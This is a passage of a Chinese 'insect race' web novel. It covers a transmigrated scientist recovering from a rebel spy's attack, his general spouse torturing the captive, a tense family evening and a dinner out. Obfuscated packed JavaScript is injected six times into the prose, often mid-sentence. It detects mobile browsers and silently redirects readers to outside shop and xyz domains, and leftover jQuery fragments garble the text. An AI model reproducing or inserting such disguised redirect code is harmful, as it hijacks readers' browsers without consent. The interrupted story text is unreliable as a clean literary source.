就像是题写得多了,自然而然就有答案,魏邈也不是没打过架的人,他上辈子学过拳击,中学时就曾参加过各种省、市比赛,这辈子前两年更是见多识广,说实话,除了被军雌骨翼剐蹭到的伤口太多,导致失血有点儿严重之外,没什么大碍。
他靠着墙,随意地席地而坐,感受着地脉冰凉的温度,终于有机会喘了口气,才觉得大脑总算清楚了一些。
他垂下眼,望向被奥兰德击倒在地的那名军雌,对方显然没比他好到哪里去,雌虫的骨翼被折断都是剧痛,此刻后背血红一片,却连喊都不能喊,已经晕过去了。
一片狼藉。
奥兰德从地上捡起来那把美工刀,他认得出来,那是魏邈的。
他的雄主似乎很念旧,对家中的一些物什非常爱惜,这柄小刀,打从维恩出生起,似乎就一直存在了。
握持的地方有一个牢固的笑脸贴纸,是维恩一岁时黏上去的,因为材质特殊,现在还没有掉,此刻被血浸染了一遍,反倒显得诡异了起来。
奥兰德抽出刀柄,低下身,刺进军雌的肩胛骨内,斜口的刀身流畅地倾斜、旋转,像是划拉一块熟透的猪肉一般,不断地打磨。
很快,血肉模糊。
“现在是你在距离生命终点之前,最舒服的时间了。”他拢下睫毛,精雕细琢的眉眼一片阴翳,“清醒点了吗?”
军雌勉强睁开眼,断断续续地道:“该清醒的……是您,柏布斯元帅,您还要装睡不醒吗?”
奥兰德随意地抽出刀子,在军雌的脸颊上抹去了多余的鲜血,不置可否:“是吗。”
“那祝贺你。”他后知后觉地想起来,一名优秀的雌君似乎并不应该在雄主面前动刑。
……有些被愤怒冲昏了头脑。
奥兰德这样想,他慢条斯理地站起身,露出一个冷峻的笑容,“你会是联邦的反叛军里,活得最久的那名雌虫。”
·
这间房间很快虫满为患。
魏邈被请去了诊疗舱之后,气压一片低沉、噤若寒蝉,军团内部发生了“袭击雄虫”这样恶性的事件,而被袭击者还是第四军团的军团长、上议院的议会长柏布斯上将的伴侣,这两件事连接在一起,几乎所有虫都明白问题的严重程度。
少将肃立在受刑室的门口,只觉得浑身都要被冻僵了,等了很久之后,才听见轻微的响动,奥兰德走了出来,摘下手套,问:“另一个呢?”
少将凝目看去,那条长满倒刺的骨鞭辨认不清是什么东西,但每个尖锐的表面都染上了血红色,令人作呕的血腥气不断逸散开来。
他已经分不清楚这是审讯还是纯粹的折磨,只是心里凛然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606727|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一悚,肃容,流畅地答道:“卡洛已经被押送回布列卡星,等候审判。”
袭击魏邈的军雌是卡洛的旧署,几天前就赶来了托尔星,而这名军雌,显然是反叛军的卧底。
一名真实等级为S级的雌虫,拥有丰富的前线作战经验,却一直屈就做一名基层士官,谁也不知道他到底在军部潜伏了多久,又为什么选择袭击柏布斯上将的配偶。
少将想起反叛军内部有一条响亮的口号,倡导“雌尊雄卑”的观念,部分激进者甚至会选择截杀雄虫,这件事也在星网上引起了相当的讨论热度,相关话题被封禁之后,才重新冷静下来。
处于金字塔尖的柏布斯家族一向传统、保守,几乎没有出过雌虫在婚内对雄主不敬的先例,但这五年来,这位新上任的年轻家主已经打破了太多陈规旧例,以铁腕手段肃清了所有障碍之后,在实际意义上,奥兰德·柏布斯已经成为联邦的掌权人。
所缺少的,也只是一个风光的名头而已。
这样的雌虫,不可能屈居虫下,对方的雄主约莫也只是一个象征符号。
少将此前也怀揣着和大多数贵族一样的想法,如今却有些不确定。
更何况,那名叫魏邈的雄虫显然不是一个花瓶。
从屋内的痕迹和那名反叛军卧底的光脑录像来判断,军雌在短短的三分钟之内发起了数次的全力攻击,都被这名雄虫给挡了下来,且没有伤及五脏六腑,只是受了些粗浅的皮外伤,他自己却差点被这名A级雄虫绞杀。
多么恐怖的意志和战斗力。
少将甚至有些怀疑,魏邈真的是一名雄虫,还是一名地质研究员?
什么样的地质研究需要这样的身体素质?
……炸矿山吗。
这样的体能,哪怕进入军部,也能够以一打十了。
奥兰德漫不经心地应了一声:“给李易说一声,第一军团的出差时间结束了,你去通知所有下属,在今天下午之前返回首都,至于那名卧底,我会亲自审问。”
冰冷的血腥味在他周身蔓延,少将垂眼看见名义上和李易平级的上将将骨鞭折起,放进透明的证物袋中,淡淡地吩咐道:“另外,给我一份第一军团所有成员的档案和名单——哪怕是你带来的炊事员。”
21.夜话
魏邈再次醒来的时候,已经到了晚上。
医疗舱被稳妥地搁在他的卧室内,地面上铺了一层毛茸茸的地毯,他打开灯,伤口麻麻痒痒,轻微有些发烫,除此之外,没有多余的酸胀和不适感。
远处树影如浪涛,凉风和煦地拂过纱窗,魏邈给自己倒了一杯水,站在窗前,随意地抿了一口。
昨天晚上的睡眠时间和今天下午的治疗时间相加,倒是睡饱了,此刻反倒有些神采奕奕。
像是手机电量被充到了百分之百一样。
在无意识的情况下,他又回到了奥兰德的庄园里。
这个时间点儿,已经过了吃晚饭的时候,他挑了一款面包,撕开包装袋,推开卧室的门,便看见维恩趴在客厅沙发上,捧着脑袋看动漫电影。
小朋友显然心驰神往,看到高兴处,还会蹦哒两下,手握成拳头,在空中挥舞。
奥兰德靠在沙发柔软的抱枕上,对方难得穿着挺括的军装,衬出雕塑般的身材,一只手支着脑袋,神态惫懒而疲倦,微微阖起双目,显然已经睡着了。
维恩看到魏邈,高兴地眨巴了下眼睛,刚要喊出一声“雄父”,魏邈就沉下眼睛“嘘”了一声,把一块棒棒糖精准地塞到维恩的嘴里。
他坐下,低声问:“看了多久了?”
维恩心虚地低头:“二十分钟。”
“……”魏邈觉得不止,他点开播放键,看到电影的剧情已经过半,用手虚虚挡住维恩的视线,“休息一会儿再看吧。”
幼崽的视力在哪里都是关键的。
维恩不得不点头。
他兀自激动了一会儿,然后一路滚落到地上,在地上爬了一会儿——这是在虫蛋期就已经有的习惯,魏邈见他爬得开心,倒也没有阻止,过了一会儿,才一把把小朋友给捞起来,抱到怀里。
维恩咬着棒棒糖,过了一会儿,才道:“你以后不许出差了。”
魏邈笑着看着他,道:“雄父要赚钱给维恩买变形金刚,维恩不想要变形金刚吗?”
维恩眨巴了下眼睛,沉思了一会儿,然后悄悄趴在魏邈耳边,说:“雌父有钱,我们可以花他的钱。”
“……”魏邈没想到是这个答案。
他勾起唇角,有些忍俊不禁,但旋即又收起笑意:“可是雌父赚钱也很辛苦的,维恩不能觉得花他的钱是非常理所应当的事情哦,他是因为爱你才会养你。”
维恩歪了歪脑袋,有些发懵的点点头:“好吧。”他表情相当犹豫,“……可是维恩还是想要变形金刚。”
魏邈弯了下眼睛,“嗯”了一声。
就像是电视剧里,每个离婚的家庭都会提到一句台词,“无论爸爸和妈妈两个人之间怎么样,我们都是永远爱你的”,他此刻竟然也想到了这句话。
但这并不是一个承诺,反倒像是一句拙劣的、脱罪的谎言。
无论如何,伤害造成了就是造成了,就像是已经脱轨的火车,祈祷旧有的情感作为燃料,维系新的轨道,显然是不足够的。
也是不负责任的幻想。
前朝的剑,怎么斩本朝的官?
魏邈做出离婚这个决定的时候,他就不再寄希望于能够和维恩亲密无间。
他只是希望把对幼崽的伤害降到最低,最好可以柔和的、平缓地让这段略显名不副实的婚姻落地。
原书中寥寥几句写了他的死因,是因为他贪恋雌君的权势,纠缠着不愿意放手,阻止自己的雌君追求真爱,于是物理意义上离婚了。
——也离世了。
魏邈倒并不觉得自己是个看不清楚形势的人,虽然看脑海中的剧情,似乎确实如此。
维恩还要说些什么,便看见沙发另一侧,雌父缓缓地睁开了眼睛。
奥兰德的目光在魏邈怀里的维恩身上定了一秒,语气有些沙哑:“雄主。”
魏邈把维恩放下来,走到奥兰德面前,摸了摸对方的额头,不烫,温声问:“吵醒你了吗?……回房间睡吧。”
维恩眼疾手快地把棒棒糖放下,乖乖地坐好,拿了一本图画书,搭在膝盖上,若无其事地看了起来。
奥兰德仰头看向魏邈,对方的表情平静、柔和,脸上还残留些许笑意,和上午的神情截然不同。
早晨出现在雄主脸上的,一闪而逝的冷漠简直像是一场幻觉。
他低下眼,不知道为什么,拽住魏邈的衣角,问:“您
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613131|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还好吗?”
魏邈有些无奈,道:“真没什么事儿。”
衣角被奥兰德扯住,魏邈干脆在他身边坐了下来,彼此都互相沉默了一会儿,奥兰德低下眼,笑着道:“我做了个噩梦。”
魏邈偏过脸,问:“什么噩梦?”
“梦见您喜欢另一位雌虫。”奥兰德定定地看着魏邈,轻轻地说,“您把他藏起来了,不告诉我,逼得我到处找他。”
魏邈:“……”
什么有的没的。
他难得见到奥兰德这样的状态,原本酝酿好的问题暂时放在脑海里,没忍住问:“为什么要找?”
奥兰德不答反问:“您觉得我会干什么?”
魏邈沉思了一会儿。
他和奥兰德有过婚前协议,对方的合约其实并不苛刻,无非是不能威胁到对方的权柄和事业,不干涉柏布斯家族的产业,不能再找一位雌侍什么的,杂七杂八,看上去挺多,其实都是些常规条款。
有些可能在这个世界的雄虫看起来会冒犯的事儿,也就是些正常夫妻都遵守的公约而已。
说起来,这份协议当然没有任何法律效益,但显而易见,联邦并非只有法律。
按照那份条款来说,他应该不能再娶一个的吧。
他挑选了一个最平和的后果,迂回婉转地猜测说:“警告一下?”
却发现奥兰德不说话了。
那双眼睛宛若平静的海,露出一点泼洒的笑意:“在您心里,我是这样的雌君吗?”
魏邈心道你还不是。
人贵有自知之明。
在书里可是一点儿亏都吃不了,想把主角攻的后宫全给轰死。
就差最后一步给轰成功了。
奥兰德仰起脸,凝视着魏邈的神色,半晌才说:“……您要是喜欢其他雌虫,一定要给我说,我可以帮您把他娶进门。”
他的笑意终于露出一点真实的弧度:“但您的雌君只能是我。”
“……”
魏邈这回却没有接话。
他过了半晌,有些无奈地揉了揉眉心:“我没有喜欢过别的雌虫,亚雌也没有。”
他其实一直不是男同来着。
22.夜话(下)
魏邈不是个很喜欢谈论自己感情的人。
但这句话确实也憋在他心里很久了,实在有些不吐不快。
……性向这玩意儿真的是天生的,后天喝中药也调理不好,如果不是联邦的法律规定雄虫必须婚配,他倒也不至于非要找个雌虫结婚。
当初能接受奥兰德已经够努力了,再找一个就免了。
但在奥兰德眼中,却算是一种许诺。
——雄主告诉他,从来没有喜欢过其他的雌虫。
他勾了勾唇角,哪怕在意料之中,平静的眼底也不由染上真实的愉悦神色,这两日莫名的惊惶仿佛一下子落地,连带着心情都逐渐轻松起来,内心终于回归理智的疆域。
没有就好。
他想要牵住魏邈的手,魏邈却正巧将手搁开,起身拿了两瓶果汁。
绿色的牛油果奶昔,在冰室里冷冻之后,口感绵密软滑,像是冰沙一样,不甜腻,入口即化。
奥兰德不喝酸奶、含糖量高的饮品,他的雌君对自身饮食的摄入已经到了苛刻的地步,按毫厘来计算,只接受温白开,饭桌上的有些碳水含量高的菜品做出来后,自己也是不会碰的。
魏邈把一杯奶昔递给维恩,自己端起一杯,起到一个装饰作用,好让自己显得不那么两手空空。
他润了润有些干燥的唇角,才弯起眼睛,道:“早上的事情,谢谢,救了我一条命。”
面对S级雌虫窒息前的临死反扑,哪怕身体知道应该向前腾转,反过扼住对手一起仆倒,但他当时并没有把握能百分之百脱险。
而一旦真正被砸下去,第一个伤到的,会是脊椎。
魏邈当初学拳击,单纯享受那种拳拳到肉的暴力美学,像巴西柔术这样搂搂抱抱、在地上缠来缠去的技法,他其实不怎么感冒。
所学的压箱底的几招,也真的只是几招而已,生死关头,熟练度相当勉强。
奥兰德来得如此及时,是他没有想到的。
“您没事就好。”听到这句话,奥兰德垂下眼,唇角露出一个满足的、温驯的细微弧度。
他很快隐没了笑意,坐姿前倾,认真地保证道:“……之后不会发生任何一次类似的情况了。”
魏邈顿了几秒。
他静静地看了一会儿奥兰德,才像是开玩笑一般,试探着问:“柏布斯将军要做什么?”
——这个称呼,其实才算是普遍意义上大众对奥兰德的称呼。
奥兰德的军勋是实打实打下来的,在生下维恩之后,有很长的一段时间,他的雌君都忙于为联邦开疆拓土,前线的胜利如雪花般飞来,民众才真正意义上熟悉了这位年轻得过分,却身居高位、荣耀满身的军团长。
报道、敬畏和感恩如雪花般涌来,魏邈当然也成为了奥兰德构建个人形象的一环。
那一段时期,原本僵硬、陌生的协议婚姻飞快地转为蜜月期,他也确实在实际意义上,助推奥兰德在保留军部头衔的同时,顺利地进入了上议院。
——联邦真正的中枢大脑。
而在此之后,民众对奥兰德的印象,也就戛然而止了。
奥兰德的眼瞳瞬间睁圆了些,脸白了一瞬,睫翼翕动,几乎有些受到惊吓的意味:“您——”
字儿蹦出来之后,却不继续向下说了。
有那一瞬间,魏邈几乎觉得看到了长大后穿上军装的维恩,他有片刻恍惚,少顷,才低声问:“不可以这么称呼吗?”
“……您不需要这样。”奥兰德道。
在返回庄园的途中,他做了诸多的心理建设,但脑海的思绪却依然混乱,不断地回忆起对方上午的那个眼神,所有的预案不断地打翻、重建,他难得体会到焦躁不安的情绪。
这份焦躁刚刚才被安抚。
他的雄主很少需要主动讨好,导致突发事件发生之后,奥兰德才发现他竟然缺少这方面的预案工作。
……他甚至不确定雄主知道多少。
他仅仅犹豫了一秒,站起身之后,径直跪了下去,仰起面容,以一种仰视的目光凝视着他的雄主:“是我连累了您。”
“……”魏邈眼皮一跳,微微怔然,眼疾手快想要扶一把,“你别。”
奥兰德静静地看着魏邈,简明扼要地解释道:“您应该知道,赫尔诺作风强硬、铁血,就连他所统辖的第一军团内部也多有怨言,我和他一向不睦,他叛变之后,认为是我让他在军部没有立锥之地。”
他顿了顿,对着魏邈专注的目光,能够从里面一览无余地找寻到他的影子。
奥兰德缓缓地说:“……所以,确实是我的失职,疏忽了您的安全。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628216|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魏邈一时间竟然不知道该说什么。
他垂下眼,只觉得脑海中千头万绪、诸多疑惑,过了一会儿,才挑出一个主要的问题:“为什么反叛军会愈演愈烈?”
“因为上议院对此持保守态度。”奥兰德收回视线,“……在此之前,这也是柏布斯家族的立场,联邦不想再次挑起战争、陷入内斗,我曾寄希望于能让赫尔诺回心转意,但显然没有得到一个理想的结果,反而让他觉得联邦息事宁人,变得更加狂悖。”
维恩从书本里探出一个脑袋,目光在魏邈和奥兰德之间来回打量,问:“雌父、雄父,你们吵架了吗?”
奥兰德没有说话,淡淡瞥了眼自己的幼崽。
在雄虫面前,维恩似乎有些放肆得过分了,管家这两天似乎没有教导一名亚雌合格的相关礼仪。
……或许需要抽空教导一下了。
魏邈闭了闭眼,他拽不起来奥兰德,还搞不定维恩吗。
他把幼崽抱起来,扔进维恩专属的活动室内:“这是我和你雌父之间的事情。”
室内满满当当,一屋子玩具,粉色的灯光垂落下来,照得维恩的眼睛亮晶晶的。
维恩可怜兮兮地道:“可是维恩想看你们吵架。”
魏邈气笑了:“……不准。”
“维恩肚子饿。”
魏邈道:“等一会儿,我们出去吃饭。”
“真的吗!”维恩眼睛如同探照灯一样亮了,捧着牛油果奶昔,挥了挥手臂,强调道,“我想要去吃炸鸡,要香香的炸鸡哦。”
他对于观看雌父下跪这件事儿确实有浓厚的兴趣。
“……”魏邈露出一个礼貌的微笑,关上房门。
再回来的时候,奥兰德的跪姿依然相当标准,魏邈望向对方的时候,恰好对方也在凝望着他,笔挺的军装宽窄合宜,露出他的雌君完美的腰线,甚至能看到一些腹肌的痕迹,明明是在跪着,却依然带着上位者的从容不迫。
他干脆蹲下身,目光和奥兰德齐平:“所以,全貌就是这样吗?”
书中有提过那名反叛军首领童年有过严重的创伤,是名厌雄症,但被主角攻吸引之后,才认可了这个世界上还是有好雄虫的存在的。
魏邈尝试理解了一下,觉得这似乎是个忄青趣设定,不能深思。
23.夜宵。
“……是。”
魏邈敛起眼睛,直截了当地问:“需要我做什么吗?”
比如暂避个风头,最近一段时间不出现什么的。
“一切照旧。”奥兰德却随意地笑了一下,他握住魏邈的手心,和对方十指相扣,“……您只需要好好养伤就好,但如果之后工作上有出差的情况下,最好提前告诉我一句。”
他露出柔和的笑意,道:“我会尽快处理好这件事。”
他很少和奥兰德如此直接、坦率、有问必答的交流过。
魏邈问:“那名卧底,军部打算怎么处理?”
“目前还在监狱里。”奥兰德道,“军团的卧底不止他一名,当天的袭击计划只是由他代为执行,所以需要撬开他的嘴,他的部分问询记录是可以公开的……您需要查看吗?”
这个也可以公开吗?
魏邈“嗯”了一声,轻轻颔首:“不麻烦的话。”
他确实想看一看。
书中,反叛军首领赫尔诺在后期戏份很多,大概性格和奥兰德口述相似,是个相当桀骜、张扬且有个人英雄主义的雌虫。
就当提前了解、做个备案了。
“不麻烦。”奥兰德失笑,“……已经传给您了,部分地方有打码,但还是建议您饭后看。”
从这个角度,能看到奥兰德光洁的额头和深邃的眼窝,凑得近了,才发现对方实在有些英俊得过分,白皙的肌肤连一点瑕疵都没有。
似乎连个痘印都没有。
奥兰德有不少瓶瓶罐罐,有些一瓶就是天价,似乎都是往脸上抹的,但分类不一,魏邈偶尔出入衣帽间,总是怕碰到对方的桌案。
“我的问题问完了。”魏邈揉了揉奥兰德的脸颊,和维恩肉嘟嘟的触感不同,对方皮骨均匀,摸不到二两肉,温声道,“还不起来吗?”
虫族雄虫地位高是没错,雄主名义上也确实拥有众多权力,但按照奥兰德的身份,哪怕不跪,或者直接隐瞒着避而不谈,都是可行的。
他并不知晓反叛军首领和奥兰德的过往关系,对于其中隐情,按理来说,奥兰德不说,他就不会知道。
对方能够这样伏低做小,已经给足了面子,甚至是一种屈身的讨好。
魏邈能感受到这样的信号,他没有这会儿再计较什么的意思,站起身,说:“换个衣服,一起出去吃个夜宵吧,维恩似乎确实饿了。”
奥兰德这才不疾不徐地起身。
医疗舱自带清洁功能。
自从奥兰德升迁之后,不再需要频繁的出差,家里的伙食水平就相当丰盛,他已经很久没在外面的餐厅吃过饭了。
魏邈自己的下厨水平仅限于不把菜炒糊,做个蛋糕、烤个饼干倒是有两把刷子,都是大学时做兼职学的技能,但这些东西耗时太久,也不抗饿,这会儿显然也派不上用场。
他把维恩从幼崽活动室放出来,靠在门边,给艾奇发了个消息,询问伤情。
雌虫的恢复水平比雄虫快,但这是在伤势对等的情况下。
S级雌虫的腕力相当恐怖,艾奇在挡下那一拳之后,显然受伤更严重一些。
艾奇几乎是秒回。
面容清秀的雌虫右臂和左肩都打了石膏,但笑容明亮,坐在医院的病床上,露出八颗牙齿的标准微笑,拍摄了一张自拍照。
——挺好,相当积极乐观。
魏邈:骨折的情况严重吗?
艾奇:研究所给我放了半个月的病假嘿嘿。
艾奇:不严重,师兄不用担心。
艾奇:另外您怎么样?
魏邈:“……”
他竟然觉得有点跟不上年轻雌虫的回消息速度。
不过看情况,应该确实没什么大碍。
他回答:只是一些擦伤,不用担心。
艾奇:那就好!
魏邈:谢谢你当时的搭救。
维恩很快换好了衣服,还给自己搭配了一个小熊帽子,两个耳朵一跳一跳。
“雄父。”他张开手臂,魏邈便弯下腰,把他抱起来,替他捋平衣袖的下摆。
不在工作时间,魏邈打扮得相当随意,他穿了件宽松的白T和牛仔裤,和艾奇沟通了些常规的休假安排,让对方安心养伤之后,过了一会儿,才等到奥兰德出来。
和他相比,他的雌君打扮得就相当隆重了。
——倒并不是参加晚礼服的装潢,只是从头发丝到手指,无一不精细,剪裁工整的衬衫包裹出相当优越的上身,袖扣双面鎏金,周身找不出一丝褶皱之处,矜贵极了。
“……”魏邈挑挑眉,他觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645175|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得自己理解的夜宵和奥兰德的夜宵有些出入,“穿成这样啊?”
奥兰德不明所以地“嗯”了一声,略显疑惑地绷紧了下颌线:“有什么不妥吗?”
“没什么。”魏邈收回目光,唇角的笑意一闪而逝,道,“走吧。”
维恩的炸鸡看情况是彻底吃不上了。
这显然不是吃路边摊的打扮。
魏邈也不知道为什么幼崽对炸鸡情有独钟,好在虫族没有可乐,要不然维恩一天得吹七瓶。
无人驾驶的小型悬浮轨道车走出平缓的庄园之后,巨幅的广告自摩肩接踵的高楼中伸展,挤满了楼宇间细小的空隙,沿途只有顶楼种植的花束,花蕊很淡,姿态摇曳,巨幅的天幕间是压得很低的云层。
山从人面起,云傍马头生。
贵族们生活在巨大的空中花园中,向下眺望,只有霓虹内透出来的光晕,以及连接起大厦的宽广、明净的玻璃走廊。
而那些望不尽的高楼大厦的下方,才是真正民众生活的区域,狭小、泥泞,被掩盖在没有光线的最底层。
维恩很开心,一路上,眼睛亮亮的,目光在沿途的风景上流连,魏邈导航了一家相对熟悉的餐厅,干脆把他放下来,让他趴在抱枕上看。
这会儿天已接近深黑,餐厅上座率却相当高,刚下车,便听见一个熟悉的声音:“魏邈!”
温弥从车里探出半个脑袋,颇为惊讶地问:“好巧,你也过来吃饭啊?……不对,你什么时候回来的?”
他金发被风吹得蓬起,露出些笑意,车内同行的一名金发雌虫同样也转过脸,魏邈和对方对上视线,才发现这位雌虫和温弥长得有七八分相似,只是眉目更立体一些。
目光一触即分,魏邈礼节性地对着对方点点头,扶了一把想要直接从车上跳下来的温弥:“今天下午。”
因为涉及反叛军,军部封锁了消息,几乎没有虫知道托尔星具体发生了什么。
温弥抬高声音:“你回来竟然不先告诉……”
话说到一半,戛然而止。温弥脸上的笑容瞬间消失,他不由自主地收回了扒住魏邈胳膊的手,立正了一些,强行压住恐惧,硬着头皮上前问好:“……晚好,柏布斯议员长。”
奥兰德抱着维恩下了车,随意地看了眼温弥,点了点头。
24.行李
在这家餐厅碰见温弥,倒也不是多意外的事情。
这本就是贵族雄虫们闲得没事儿常来玩的区域,魏邈纯属是照猫画虎,就像是在医院碰到病人、公司里遇到领导,太空里碰上喜之郎果冻,都在既定刷新NPC的范畴。
气氛突然凝固了一会儿,奥兰德唇角保持着一个微微上扬的平缓弧度,站在魏邈稍后一点的位置,姿态恭谨,如同一个漂亮的花瓶,点缀得并不喧宾夺主。
他显然没有越过雄主,和一名陌生的雄虫攀谈一番的兴致,尤其是这位雄虫之前和他曾经有过一点不算瓜葛的瓜葛。
一般来说,雄虫们出游,雌君就没有什么可以发挥的余地了,只需要在一旁耐心等候、及时侍奉就可以。
但谁也没有办法真就这样把他给忽略了。
温弥打完招呼,不用再直面奥兰德,肉眼可见地焕发了些生机,干脆利索地躲在莱尔身边,依然有些如芒在背。
他多少有点儿佩服莱尔。
一名雄虫能够拥有这样坚韧的心态,干什么事情都会成功的!
如果说五年前,奥兰德·柏布斯尚且还归属于继承者的范畴,可以打声招呼,用平视的目光对待,在五年之后,能够有资格和对方对话的,已经不再是他们这一批晚辈了。
就如同平民与贵族之间隔着天堑,联邦的贵族与贵族之间,同样存在着巨大的鸿沟,划分出三六九等的差异,血脉和姓氏构建起一座漫长的、永不风化的金字塔,而毋庸置疑,奥兰德是站在这座金字塔尖的雌虫。
温弥即使再没有意识,他也知道,不能在对方面前失敬。
车内,那名和温弥同行的雌虫同样打开了车门,对方的手指骨节白皙、身材颀长,面容却比一般的雌虫略显的苍白一些,反倒显得清隽、温和,温弥介绍道:“这位是我的堂兄,伊维·科维奇,应该是法院的……审判长?”
他语气不确定地游移了一下。
“尊敬的温弥阁下。”那名雌虫神色不变,轻轻地笑了一下,道,“在两年前,我就已经不再为联邦法院效力了,难得您还记得我这份微不足道的履历。”
他眼尾狭长,笑起来的时候,褪去了周身的稳重感,倒显得像是一只狐狸。
“反正就这么回事儿。”温弥气得鼓起脸颊,转而介绍魏邈,“这位是莱尔,我的朋友。”
——科维奇家族那么多雌虫,单是嫡系就有七八位,他记不住才是正常的吧。
魏邈露出个礼貌的笑容,转过脸,对上伊维的视线。
他穿得年轻,圆领的T恤和宽松牛仔裤,一身装潢和这里有些格格不入,碎发被风吹起,伊维第一眼看过去的时候,差点儿以为是某个被包-养的、还没成年的平民雄子。
他慢了半拍,才反应过来对方是谁。
“您好,莱尔阁下。”伊维弯下腰,鞠了一躬,旋即举起双手,调侃道,“我就不和柏布斯议员长打招呼了,以免被有心的记者拍到,不好向民众解释。”
维恩规规矩矩地靠在奥兰德怀里,打了个不明显的呵欠。
魏邈侧眼,瞥了眼幼崽肉嘟嘟的侧脸,以及耷拉下来的小熊帽子耳朵,觉得有点可爱:“监察院的理事们都需要这么谨慎吗?”
伊维怔了一瞬,露出一些惊讶的神色,笑着解释道:“是的,名义上我们对军部有检举和监督权。”
联邦的立法权、行政权并不全然分开,而是含混在一起,唯独军部却是独立出去的,拥有相当一部分完整的人事和司法裁决权,只需要偶尔服从上议院的书面调令。
平民雌虫想要改变命运,大部分也只能通过参军的方式,其余的上升路径相当狭窄和昂贵。
而监察院被创立的初衷,就是为了抑制军部的势力范畴。
奥兰德低低笑了一下,他走上前一步,覆盖住灯下伊维的影子,云淡风轻地说:“随时欢迎,但这里似乎不是谈公事的地方。”
伊维眯起眼睛,喉结动了动,没有再多说什么。
互相打了个简单的照面,很快便有等待的侍者来引位,彼此拖家带口,温弥本来还想和魏邈聊会儿天,碍于奥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13660409|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兰德在,只好止住了念头。
走进相邻的包厢时,他抬起眼,看见那名只出现在新闻和传说中的雌虫微微敛下眼,附在魏邈耳边说些什么,魏邈抿起眼睛,露出很感兴趣的神色,眉眼间却没有多少笑意。
单看背影,确实相当登对。
旋即,乌黑的门隔绝了温弥的视线。
·
从托尔星出差回来之后,即使伤已经好了七七八八,魏邈依然给研究所请了两天假,顺便给尤文也批了两天假,留给这位新入职的亚雌准备的空隙。
去托尔星出差时走得相当仓促,有些事情显然没有来得及安排好,魏邈用自己的薪水多支付了尤文一个月的工资,让他买一身体面点儿的行装,以及一台可以支撑各类软件的新光脑。
至于其他零碎的琐事,也不需要他亲自再跑一趟所里了。
难得休假,魏邈一时间竟然有些不知道该怎么分配时间,事情千头万绪,生活即将迎来某一种重大的变化,但真正需要立刻着手解决的却没有多少。
与之相反,他的雌君反而真正忙碌了起来,晨间便去了军部。
面对着那块巨大的、提示他剧情还有96天正式启幕的光幕,魏邈坐在花园里的摇椅上,香气扑面而来,流水淙淙,他相当闲适地打了一会儿星网最新出的游戏,一直到通关,发现只用了两小时不到。
魏邈:“……”
他露出疑惑的神色,重新点开游戏的主界面。
——没有玩错。
不是听评论说某些关卡会很难吗?
将记录传导至光脑的社交账号上,魏邈这才站起身,抿了一杯水,开始画变形金刚的图纸,在星网上对比了不少工厂之后,他已经预付了一半定金。
这些年积攒的存款顷刻之间,少了接近三分之一。
魏邈倒是没什么多余的感受。
花园里馥郁的花香不断传来,一直到接近下午,两份建模图纸才传输过去,魏邈突然冷不丁地想:他或许该收拾个行李?
毕竟之后得搬出去。
25.建议您报警处理
魏邈的行李并不算多。
结婚之后,他攒了很多没穿过的衣服,有不少都是品牌专柜专门送到庄园里的,还有些是定制过的西装,整齐地罗列在卧室套间横排的衣帽柜里,都是些没必要带走的东西,如果之后奥兰德不愿意放在庄园里,那就找个地儿全扔了。
